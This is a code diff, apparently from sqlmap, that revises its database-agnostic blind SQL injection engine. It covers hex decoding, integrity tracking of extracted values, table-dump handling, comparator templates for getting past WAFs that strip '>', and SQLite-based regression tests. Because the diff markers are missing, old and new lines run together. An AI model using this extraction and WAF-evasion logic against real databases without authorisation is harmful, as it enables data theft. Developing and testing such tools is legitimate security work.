truncated = length >= self.maxlen and ge(self.maxlen)
# truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen
# value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated
truncated = length >= self.maxlen and ge(self.maxlen + 1)
if limit is not None and limit < length:
truncated, length = True, limit
out = []
for i in range(length):
hit = None
for c in _FREQ_ORDER:
pat, esc = self._likePat(i, c, length - i - 1)
# trailing multi-wildcard when the value continues past `length` (truncated
# prefix), so the pattern matches the longer source instead of demanding exact len
pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated)
if self._likeIs(expr, pat, esc):
hit = c
break
@ -666,8 +793,8 @@ class _Extraction(object):
warns = ["contains unresolved char"] if _REPL in value else []
if p.get("case_insensitive"):
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
return ExtractResult(value, complete=not truncated and not warns, truncated=truncated,
queries=self._queries - q0, warnings=warns)
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
truncated=truncated, queries=self._queries - q0, warnings=warns)
@staticmethod
def _decodeHexToken(token, encoding=None):
@ -678,23 +805,24 @@ class _Extraction(object):
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
if encoding:
return raw.decode(encoding, "replace")
# UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a
# utf-8-first guess silently mis-decodes it; detect the interleaved-null
# signature first
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)):
# a PROVEN codec is authoritative: if the bytes don't decode under it, that is a
# FAILURE (return None -> token dropped, result marked incomplete), NOT licence to
# reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate,
# but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt).
try:
return raw.decode("utf-16-le")
except UnicodeDecodeError:
pass
# UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the
# utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)):
try:
return raw.decode("utf-16-be")
except UnicodeDecodeError:
pass
for enc in ("utf-8", "utf-16-le", "latin-1"):
return raw.decode(encoding, "strict")
except (UnicodeDecodeError, LookupError):
return None
# UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8
# ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec
# either reading could be right, so neither is exact. Refuse (drop the token -> the caller
# falls back to per-char extraction, which round-trips each char against the source).
if b"\x00" in raw:
return None
# no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII
# result is gated separately - the dump downgrades non-ASCII under an unknown codec, and
# scalar hex recovery refuses to certify unknown-codec non-ASCII bytes).
for enc in ("utf-8", "latin-1"):
try:
return raw.decode(enc)
except (UnicodeDecodeError, ValueError):

View file

@ -9,6 +9,14 @@ from .engine import Esperanto
from .records import OracleUndecided
def _sanitize(s):
"""Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored
value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console."""
if not isinstance(s, type(u"")):
return s
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
def buildHandler():
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
@ -39,6 +47,7 @@ def buildHandler():
Enumeration.__init__(self)
Miscellaneous.__init__(self)
self._esp = None
self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes)
self._identCache = {} # current user/db: fetch (and announce) once
self._colCache = {} # (db, table) -> ordered column names, so a dump
# reuses what --columns already enumerated
@ -71,12 +80,21 @@ def buildHandler():
# primitive) - stop cleanly instead of surfacing an internal traceback
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback
for note in esp.dialect.notes: # surface degradations LOUDLY (never silent)
logger.warning("Esperanto: %s" % note)
esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized)
self._esp = esp
self._notesLogged = 0
self._flushNotes() # discovery-time notes
return self._esp
def _flushNotes(self):
# surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes
# AFTER discovery, so logging once would hide every runtime degradation (incomplete
# listing, truncation, blocked paging) - flush the NEW ones after each operation.
notes = self._esp.dialect.notes if self._esp else []
for note in notes[self._notesLogged:]:
logger.warning("Esperanto: %s" % note)
self._notesLogged = len(notes)
def _scopeDb(self):
# the database to scope table/column lookups to: -D if given, else the
# current one. WITHOUT this, a same-named table in another schema (e.g.
@ -133,19 +151,30 @@ def buildHandler():
return kb.data.currentDb
def _safeExtract(self, expr):
# current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so
# they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL.
try:
return self._esp.extract(expr)
res = self._esp.extractResult(expr)
except OracleUndecided:
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
return None
if res.value is not None and not res.exact:
logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity))
return None
return res.value
def isDba(self, user=None):
kb.data.isDba = False # no privilege claim the oracle cannot prove
# UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning
# False would assert "not a DBA" on no evidence. Report it can't tell and return
# None (unknown) so a transient can't be read as a proven privilege verdict.
logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)")
kb.data.isDba = None
return kb.data.isDba
def getDbs(self):
logger.info("fetching database names")
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
self._flushNotes()
return kb.data.cachedDbs
def getTables(self, bruteForce=None):
@ -165,6 +194,7 @@ def buildHandler():
infoMsg += " for database '%s'" % db
logger.info(infoMsg)
kb.data.cachedTables = {db or "<current>": names}
self._flushNotes()
return kb.data.cachedTables
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
@ -179,15 +209,22 @@ def buildHandler():
names = self._engine().columns(conf.tbl, schema=db) or []
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
self._flushNotes()
return kb.data.cachedColumns
def getSchema(self):
esp = self._engine()
db = self._scopeDb()
# use the EFFECTIVE db that getTables() actually resolved (it may have broadened to
# 'public' when the current schema was empty) - recomputing _db() here would miss
# that and look columns up in the wrong (empty) schema.
tabmap = self.getTables()
effdb, tables = next(iter(tabmap.items()), ("<current>", []))
colscope = self._scopeDb() if effdb == "<current>" else effdb
schema = {}
for table in (self.getTables().get(self._db()) or []):
schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or []))
kb.data.cachedColumns = {self._db(): schema}
for table in (tables or []):
schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or []))
kb.data.cachedColumns = {effdb: schema}
self._flushNotes()
return kb.data.cachedColumns
def dumpTable(self, foundData=None):
@ -205,7 +242,26 @@ def buildHandler():
if db:
infoMsg += " in database '%s'" % db
logger.info(infoMsg)
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10))
# sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return
# different data): --where filters, --start offsets. --stop is honored as a row cap.
if getattr(conf, "dumpWhere", None):
logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows")
return
if getattr(conf, "limitStart", None):
logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range")
return
# the SAME qualified reference for count and dump, so a non-default schema can't make
# the count hit a different (unqualified) table than the dump (#8).
qtable = self._engine().qualify(conf.tbl, db)
if conf.limitStop:
limit = conf.limitStop
else:
try:
limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10
except (OracleUndecided, OverflowError):
limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end)
logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)"))
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit)
if not result or not result["columns"]:
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
return
@ -217,7 +273,11 @@ def buildHandler():
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
if not result["complete"]:
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
if not result.get("exact", True): # coverage may be complete yet content inexact
logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent "
"comparison - case/accents may not be byte-exact" % conf.tbl)
kb.data.dumpedTable = table_data
self._flushNotes()
conf.dumper.dbTableValues(kb.data.dumpedTable)
return _EsperantoHandler()

View file

@ -29,12 +29,25 @@ class _OracleCore(object):
self._probing = prev
def _emit(self, value):
if self._progress and value not in (None, ""):
# per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes
# (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal
# probe value as "retrieved: <x>" reads as a stray, out-of-context line to the user.
if self._progress and value not in (None, "") and not self._probing:
try:
self._progress(value)
except Exception:
pass
def _emitChar(self, partial, total):
# live per-character feedback DURING a long extraction, so the user sees movement
# instead of a frozen prompt (a whole framed row is one long silent read otherwise) -
# suppressed during probe phases (see _emit) so a discovery probe doesn't animate
if self._charProgress and not self._probing:
try:
self._charProgress(partial, total)
except Exception:
pass
def _probe(self, condition):
# ONE tri-state evaluation: True / False / None(persistent error). a raised
# oracle is retried (transient) before being reported as an error - a
@ -109,11 +122,15 @@ class _OracleCore(object):
return self._ask("1=1") and not self._ask("1=2") and \
self._ask("'a'='a'") and not self._ask("'a'='b'")
def _exists(self, source, column="1"):
def _exists(self, source, column="1", alias=None):
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
# rather than being taken as a string literal (SQLite quirk) and passing every
# fake name.
# fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare
# candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...)
# or an unrelated in-scope name - an alias-qualified unknown is always an error.
if alias:
return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias))
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))

View file

@ -13,6 +13,13 @@ class OracleUndecided(RuntimeError):
oracle itself; exceptions are reserved for 'could not observe'.)"""
class NumericOutOfRange(OverflowError):
"""A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below).
Raised so a bounded search never invents an in-range boundary value (saturating to
`hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length
measurement converts it to (ceiling, truncated=True); integer extraction re-raises."""
class Cap(object):
"""A discovered primitive: (name, template) PLUS measured semantic properties.
Indexable like the old (name, template) tuple so existing call sites keep working
@ -34,6 +41,24 @@ class Cap(object):
return "%s(%s)" % (self.name, extra.strip() or self.template)
class Integrity(object):
"""How much the engine PROVED about a recovered value - separating 'the walk finished'
from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can
be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy
collation). Anything used as executable SQL metadata or a paging boundary requires EXACT."""
EXACT = "exact" # proven byte-identical to the source value (or a proven NULL)
WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain
TRUNCATED = "truncated" # a bounded prefix; the source continues
UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present)
FAILED = "failed" # could not observe / verify (e.g. whole-value check failed)
# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the
# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings.
_AMBIGUOUS_WARNINGS = ("case", "collation")
_U_REPL = u"\uFFFD"
class ExtractResult(object):
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
distinct (str-like so `str(r)`/truthiness still read naturally)."""
@ -47,6 +72,29 @@ class ExtractResult(object):
self.queries = queries
self.warnings = warnings or []
@property
def integrity(self):
# classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated /
# unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent
# (value=None, is_null=True, complete=False) can never read as EXACT.
if self.truncated:
return Integrity.TRUNCATED
if self.value is not None and _U_REPL in self.value:
return Integrity.UNRESOLVED
if not self.complete: # a hard warning / failed verify -> not exact
return Integrity.FAILED
if self.value is None:
return Integrity.EXACT if self.is_null else Integrity.FAILED
if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS):
return Integrity.WHOLE_BUT_AMBIGUOUS
return Integrity.EXACT
@property
def exact(self):
# True ONLY when the recovered bytes are proven identical to the source. Required for
# any value that becomes executable SQL (identifier, qualifier, exact literal).
return self.integrity == Integrity.EXACT
def __str__(self):
return "" if self.value is None else self.value
@ -56,8 +104,8 @@ class ExtractResult(object):
__nonzero__ = __bool__ # py2
def __repr__(self):
return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)"
% (self.value, self.is_null, self.complete, self.truncated, self.queries,
return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)"
% (self.value, self.is_null, self.integrity, self.truncated, self.queries,
" warnings=%r" % self.warnings if self.warnings else ""))
@ -88,7 +136,7 @@ class Dialect(object):
"""Discovered target profile - the synthesized 'queries.xml row'."""
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
"coalesce", "charcode", "charfrom", "hexfn", "binwrap",
"coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset",
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
"identity", "catalog", "catalogEnum", "family", "product",
"version", "evidence", "notes")
@ -106,6 +154,7 @@ class Dialect(object):
self.charfrom = None
self.hexfn = None # (name, template) for hex/byte extraction
self.binwrap = None # (name, template) byte-ordered comparison wrapper
self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode)
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
@ -138,14 +187,24 @@ class InferenceStrategy(object):
methods. No oracle here, no retrieval loop - just SQL construction from the
discovered primitives. Frozen after construction so worker threads can share it.
The reference host loop `hostExtract()` below proves this interface is
*sufficient*: it extracts data using ONLY a strategy + an oracle, with no
dependency on Esperanto's own retrieval code.
The reference host loop `hostExtract()` below drives extraction using ONLY a
strategy + an oracle, with no dependency on Esperanto's own retrieval code.
SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof.
`hostExtract()` drives the code/collation/ordinal/equality char modes under an
ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring-
derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only
(LIKE floor) or membership-only extraction, and the frozen field set does not yet
carry every discovered semantic (hex-encoding confidence, IN support, wildcard
semantics, substring/length units, cast bounds). Those modes/semantics must be added
- or the claim narrowed - before this can be called a complete interface; the
long-term direction is predicate renderers driven by sqlmap's own inference engine.
"""
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
"substring", "index_base", "length", "charcode", "charcode_sem",
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash")
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash",
"comparator", "cmp_template", "exact_witness")
def __init__(self, **kw):
for f in self._FIELDS:
@ -166,6 +225,12 @@ class InferenceStrategy(object):
def renderIsNull(self, expr):
return "(%s) IS NULL" % expr
def renderCharExists(self, expr, pos):
# a character exists at 1-based pos: its 1-char substring is non-empty. Uses '='
# only (no '>'/'<'), and reads False for a past-end substring whether the engine
# returns '' or NULL there - so length can be derived when there is no length fn.
return "NOT ((%s)='')" % self.substr(expr, pos)
def renderHex(self, expr):
return self.hexfn.format(expr=expr) if self.hexfn else None
@ -173,6 +238,16 @@ class InferenceStrategy(object):
# scalar code point of the char at pos (None unless a code fn was found)
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
def renderGt(self, expr, n, high=None):
# "expr > n" via the DISCOVERED comparator, so a host driving this strategy
# survives a WAF that strips '>'/'<' exactly as esperanto's own loop does.
# BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't.
if self.comparator == "between" and high is not None:
return "%s BETWEEN %d AND %d" % (expr, n + 1, high)
if self.cmp_template:
return self.cmp_template.format(expr=expr, n=n)
return "%s>%d" % (expr, n)
def renderCharCmp(self, expr, pos, ch, op=">"):
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
# is available (else the target's own collation)
@ -211,12 +286,26 @@ class InferenceStrategy(object):
def asQueriesRow(self):
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
These four templates are what sqlmap's inference/error/union machinery reads
from queries[Backend.getIdentifiedDbms()]."""
from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the
char-code comparison through the DISCOVERED comparator, so a strategy that survives
a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership
mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate
interface, not this 4-field row)."""
inference = None
if self.charcode:
code = self.charcode.format(expr=self.substr("%s", "%d"))
if self.comparator == "membership":
inference = None
elif self.cmp_template: # operator-free rung (SIGN/ABS/...)
inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d")
elif self.comparator == "between":
inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code
else: # gt
inference = "%s>%%d" % code
return {
"length": self.length,
"substring": self.substring,
"inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d")))
if self.charcode else None,
"inference": inference,
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
"hex": self.hexfn,
}

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.172"
VERSION = "1.10.7.173"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -25,6 +25,7 @@ Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts:
stdlib unittest only; Python 2.7 and 3.x.
"""
import binascii
import os
import re
import sqlite3
@ -36,6 +37,7 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from extra.esperanto import Cap
from extra.esperanto import Esperanto
from extra.esperanto import hostExtract
from extra.esperanto import Integrity
EXPR = "(SELECT v FROM t)"
@ -191,6 +193,430 @@ class TestEsperanto(unittest.TestCase):
esp.discover()
self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n)
def test_between_no_saturation(self):
# #1: BETWEEN caps range probes at the ceiling, so an out-of-range value must be
# flagged (truncated length / OverflowError), NEVER converge to a wrong SMALL value
# (the old bug read a len-16 value as length 1 and an int 100/max-10 as 0).
esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=8) # true length 16 > ceiling 8
esp.discover()
esp._comparator = "between"
n, trunc = esp._measureLength(EXPR, ceiling=8)
self.assertTrue(trunc and n == 8, "between over-length saturated wrong: (%r,%r)" % (n, trunc))
esp2 = Esperanto(_oracle())
esp2.discover()
esp2._comparator = "between"
self.assertEqual(esp2.extractInteger("(100)", maximum=1000), 100)
self.assertRaises(OverflowError, esp2.extractInteger, "(100)", 10)
def test_framing_requires_terminal_marker(self):
# a length-framed token MUST carry its terminal ';' - a truncated final token (no ';')
# must be rejected, not accepted as valid
esp = Esperanto(lambda c: False)
esp._rowLenFramed = True
self.assertEqual(esp._splitRow("V3:414243", 1), (None, False)) # no terminator -> invalid
self.assertEqual(esp._splitRow("V3:414243;", 1), (["ABC"], True)) # terminated -> valid
self.assertEqual(esp._splitRow("V4:414243;", 1), (None, False)) # declared 4 != decoded 3
def test_host_native_integrity_parity(self):
# hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact
# witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Admin-42')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|COLLATE|BLOB|BINARY")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if esp._byteFaithful():
self.skipTest("dialect still byte-faithful")
native = esp.extractResult("(SELECT v FROM t)")
host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)")
self.assertEqual(host.value, native.value)
self.assertFalse(host.exact, "host claimed exact without a witness: %r" % host)
self.assertEqual(host.integrity, native.integrity)
def test_framing_length_witness_catches_capped_hex(self):
# a HEX fn that silently caps its output (correct up to a point, then truncates) would
# shorten a framed cell. The independent <charlen> witness in the row token (V<len>:<hex>;)
# must reject the shortened token -> fall back to cell-by-cell (which reads the true
# length via substring), so a 400-char value is recovered whole, not silently as 300.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
big = "A" * 400
con.execute("INSERT INTO t VALUES (1, ?)", (big,))
con.commit()
con.create_function("CHEX", 1, lambda s: binascii.hexlify((s or "").encode("utf-8")[:300]).decode().upper())
def ask(cond):
c = re.sub(r"UPPER\(HEX\(([^()]*)\)\)", r"CHEX(\1)", cond) # HEX -> a 300-byte-capped hex
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=8192)
esp.discover()
d = esp.dump("t")
val = d["rows"][0][1] if d and d["rows"] else None
self.assertTrue((val == big and d["complete"]) or (d and not d["complete"]),
"capped hex slipped through: %r len=%s" % ((val or "")[:8], len(val) if val else None))
def test_integer_final_equality(self):
# comparator proven on literals, but the backend rewrites '>' to '>=' for scalar/fn
# operands -> bisection converges off-by-one. The final `expr = recovered` check must
# reject it (fail closed) rather than return a silently-wrong integer.
con = sqlite3.connect(":memory:")
def ask(cond):
c = cond
if re.search(r"(SELECT|LENGTH|UNICODE|SUBSTR|\+)", c, re.I):
c = c.replace(">", ">=")
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertRaises(Exception, esp.extractInteger, "(SELECT 5)", 10) # OracleUndecided (fail closed)
def test_charset_codec_quirks(self):
from extra.esperanto.atlas import _charsetCodec
self.assertEqual(_charsetCodec("latin1"), "cp1252") # MySQL 'latin1' is Windows-1252
self.assertEqual(_charsetCodec("utf8mb4"), "utf-8")
self.assertEqual(_charsetCodec("utf8mb4_general_ci"), "utf-8") # collation suffix peeled
self.assertEqual(_charsetCodec("WE8MSWIN1252"), "cp1252") # Oracle
self.assertEqual(_charsetCodec("1252"), "cp1252") # SQL Server code page
self.assertEqual(_charsetCodec("AL32UTF8"), "utf-8")
self.assertIsNone(_charsetCodec("some_unknown_set"))
def test_host_length_code_final_equality(self):
# Round 8 #1: hostExtract must apply the native reader's final-equality to the recovered
# LENGTH and each per-char CODE - a backend that rewrites '>' to '>=' for computed operands
# (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed
# rather than hand back silently-wrong code-point text as exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Admin-42')")
con.commit()
def ask(cond):
c = cond
if re.search(r"(LENGTH|UNICODE|SUBSTR)\(", c, re.I): # '>' rewritten for computed operands
c = c.replace(">", ">=")
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if esp.dialect.compare != "code":
self.skipTest("dialect not in code mode")
host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)")
# the invariant: anything claimed EXACT must be CORRECT. An off-by-one read is caught by
# the final equality and must surface as non-exact/failed, never as a wrong exact value.
self.assertTrue(host.value == "Admin-42" or not host.exact,
"host handed back a wrong value as exact: %r" % host)
def test_hex_unknown_codec_non_ascii_not_exact(self):
# Round 8 #2: scalar hex recovery under an UNKNOWN codec must not certify non-ASCII text
# (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful;
# only a PROVEN codec makes the decoded text exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes
con.execute("CREATE TABLE a (v TEXT)")
con.execute("INSERT INTO a VALUES ('plain')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if not esp._ensureHexfn():
self.skipTest("no hex fn")
esp.dialect.charset = None # force UNKNOWN codec
hx = esp.dialect.hexfn
esp.dialect.hexfn = Cap(hx.name, hx[1], encoding=None)
self.assertIsNone(esp._extractViaHex("(SELECT v FROM t)"), # non-ASCII + unknown codec -> refuse
"unknown-codec non-ASCII hex certified as exact")
ascii_r = esp._extractViaHex("(SELECT v FROM a)") # ASCII is codec-invariant -> still OK
self.assertTrue(ascii_r is None or ascii_r.value == "plain")
def test_bytelen_witness_fails_closed(self):
# Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the
# bytes (fail closed), never treat "couldn't verify" as "matched".
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abc')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if not esp._ensureHexfn():
self.skipTest("no hex fn")
esp.dialect.bytelen = Cap("blen", "OCTET_NOSUCH({expr})") # a byte-length fn that never resolves
self.assertIsNone(esp.extractBytes("(SELECT v FROM t)"),
"undecided byte-length witness slipped through")
def test_unknown_codec_nul_not_shortened(self):
# Round 8 (final) blocker #1: unknown codec + embedded NUL is genuinely ambiguous - bytes
# 41 00 are valid UTF-8 ("A"+NUL) AND valid UTF-16LE ("A"). _decodeHexToken must refuse
# rather than collapse to a shortened ASCII "A" that then reads as exact. The framed dump
# calls _decodeHexToken directly, so the guard has to live there (not just _extractViaHex).
esp = Esperanto(lambda c: False)
self.assertIsNone(esp._decodeHexToken("4100", None)) # ambiguous -> refuse
self.assertEqual(esp._decodeHexToken("4100", "utf-8"), u"A\x00") # proven codec keeps NUL
self.assertEqual(esp._decodeHexToken("41", None), u"A") # pure ASCII still fine
def test_lossy_cast_marked_inexact(self):
# Round 8 (final) blocker #2: a text cast that FOLDS non-ASCII to "?" (café -> caf?) yields
# an ASCII-only result, so gating the cast-safety canary on _hasNonAscii(rows) meant it
# never ran on the very failure it defends against. The canary must run whenever a textcast
# was applied, and an unproven cast must not certify source identity.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
con.execute(u"INSERT INTO t VALUES (1, 'café')")
con.commit()
con.create_function("LOSSY", 1, lambda s: "".join(c if ord(c) < 128 else "?" for c in (s or "")))
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
esp.dialect.charset = None # unknown -> exercise the canary path
esp.dialect.textcast = Cap("lossy", "LOSSY({expr})") # a narrowing/folding cast
esp._castPreserves = None
self.assertFalse(esp._castPreservesAccents(), "folding cast wrongly certified as preserving")
d = esp.dump("t")
self.assertTrue(d and d["rows"], "dump returned nothing")
self.assertFalse(d["exact"], "folded (café->caf?) dump reported source-exact: %r" % d["rows"])
def test_repl_chars_escalate_to_hex(self):
# a code fn lossy for a column type (Oracle NVARCHAR2 read in code mode marks non-ASCII
# chars outside its alphabet -> _REPL). Rather than return the marked-incomplete value,
# the engine must escalate to the cast+hex path (which the framed dump proves works) and
# recover the value exactly. Without hex, it stays honestly incomplete (no false-complete).
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute(u"INSERT INTO t VALUES ('café-€')")
con.commit()
con.create_function("UNICODE", 1, lambda s: (ord(s[0]) if s and ord(s[0]) < 128 else None))
def make(block_hex):
pat = r"\bASCII\(|\bORD\(" + (r"|RAWTOHEX|\bHEX\(|ENCODE\(" if block_hex else "")
blk = re.compile(pat, re.I)
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except Exception:
return False
return ask
with_hex = Esperanto(make(False)); with_hex.discover()
r = with_hex.extractResult("(SELECT v FROM t)")
